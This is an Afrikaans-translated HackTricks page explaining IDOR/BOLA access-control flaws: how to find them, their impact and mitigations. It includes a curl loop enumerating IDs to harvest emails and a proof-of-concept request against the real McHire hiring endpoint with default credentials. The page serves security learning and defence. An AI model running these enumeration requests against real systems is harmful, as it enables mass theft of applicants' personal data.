IDOR (Onveilige Direkte Objektverwysing)
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
IDOR (Onveilige Direkte Objektverwysing) / Gebroke Objektvlak Owerheid (BOLA) verskyn wanneer 'n web- of API-eindpunt 'n gebruiker-beheerde identifiseerder openbaar of aanvaar wat direk gebruik word om toegang te verkry tot 'n interne objek sonder om te verifieer dat die oproeper gemagtig is om daardie objek te benader/wysig. Suksesvolle uitbuiting laat normaalweg horisontale of vertikale voorregverhoging toe, soos om ander gebruikers se data te lees of te wysig en, in die ergste geval, volle rekeningoorname of massadata-uitvloeiing.
1. Identifisering van Potensiële IDORs
- Soek na parameters wat 'n objek verwys:
- Pad:
/api/user/1234
,/files/550e8400-e29b-41d4-a716-446655440000
- Navraag:
?id=42
,?invoice=2024-00001
- Liggaam / JSON:
{"user_id": 321, "order_id": 987}
- Koptekste / Koekies:
X-Client-ID: 4711
- Verkies eindpunte wat data lees of opdateer (
GET
,PUT
,PATCH
,DELETE
). - Let op wanneer identifiseerders sekwensieel of voorspelbaar is – as jou ID
64185742
is, bestaan64185741
waarskynlik. - Verken verborge of alternatiewe vloei (bv. "Paradox spanlede" skakel in aanmeldbladsye) wat ekstra API's mag blootstel.
- Gebruik 'n geverifieerde lae-voorreg sessie en verander slegs die ID terwyl jy dieselfde token/koekie hou. Die afwesigheid van 'n owerheidsfout is gewoonlik 'n teken van IDOR.
Vinige handmatige tampering (Burp Repeater)
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
Geoutomatiseerde enumerasie (Burp Intruder / curl lus)
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
2. Werklike Gevalstudie – McHire Chatbot Platform (2025)
Tydens 'n assessering van die Paradox.ai-gedrewe McHire werwingsportaal is die volgende IDOR ontdek:
- Eindpunt:
PUT /api/lead/cem-xhr
- Owerheid: gebruikersessie koekie vir enige restaurant toetsrekening
- Liggaam parameter:
{"lead_id": N}
– 8-syfer, volgorde numeriese identifiseerder
Deur lead_id
te verlaag, het die toetsers willekeurige aansoekers se volledige PII (naam, e-pos, telefoon, adres, skofvoorkeure) plus 'n verbruiker JWT wat sessie-hijacking toegelaat het, verkry. Opname van die reeks 1 – 64,185,742
het ongeveer 64 miljoen rekords blootgestel.
Bewys-van-konsep versoek:
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
Gekombineer met default admin credentials (123456:123456
) wat toegang tot die toetsrekening verleen het, het die kwesbaarheid gelei tot 'n kritieke, maatskappy-wye datalek.
3. Impak van IDOR / BOLA
- Horisontale eskalasie – lees/werk by/verwyder ander gebruikers' data.
- Vertikale eskalasie – lae-bevoegde gebruiker verkry admin-slegs funksionaliteit.
- Massadatalek as identifiseerders opeenvolgend is (bv. aansoeker-ID's, fakture).
- Rekening oorname deur tokens te steel of wagwoorde van ander gebruikers te reset.
4. Versagtings & Beste Praktyke
- Handhaaf objekvlak outorisasie op elke versoek (
user_id == session.user
). - Verkies indirekte, onraai-bare identifiseerders (UUIDv4, ULID) in plaas van outo-toegevoegde ID's.
- Voer outorisasie bediener-kant uit, moenie op versteekte vormvelde of UI-beheer staatmaak nie.
- Implementeer RBAC / ABAC kontroles in 'n sentrale middleware.
- Voeg spoedbeperking & logging by om opsporing van ID's te detecteer.
- Sekuriteitstoets elke nuwe eindpunt (eenheid, integrasie, en DAST).
5. Gereedskap
- BurpSuite uitbreidings: Authorize, Auto Repeater, Turbo Intruder.
- OWASP ZAP: Auth Matrix, Forced Browse.
- Github projekte:
bwapp-idor-scanner
,Blindy
(grootmaat IDOR jag).
Verwysings
- McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII
- OWASP Top 10 – Broken Access Control
- How to Find More IDORs – Vickie Li
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.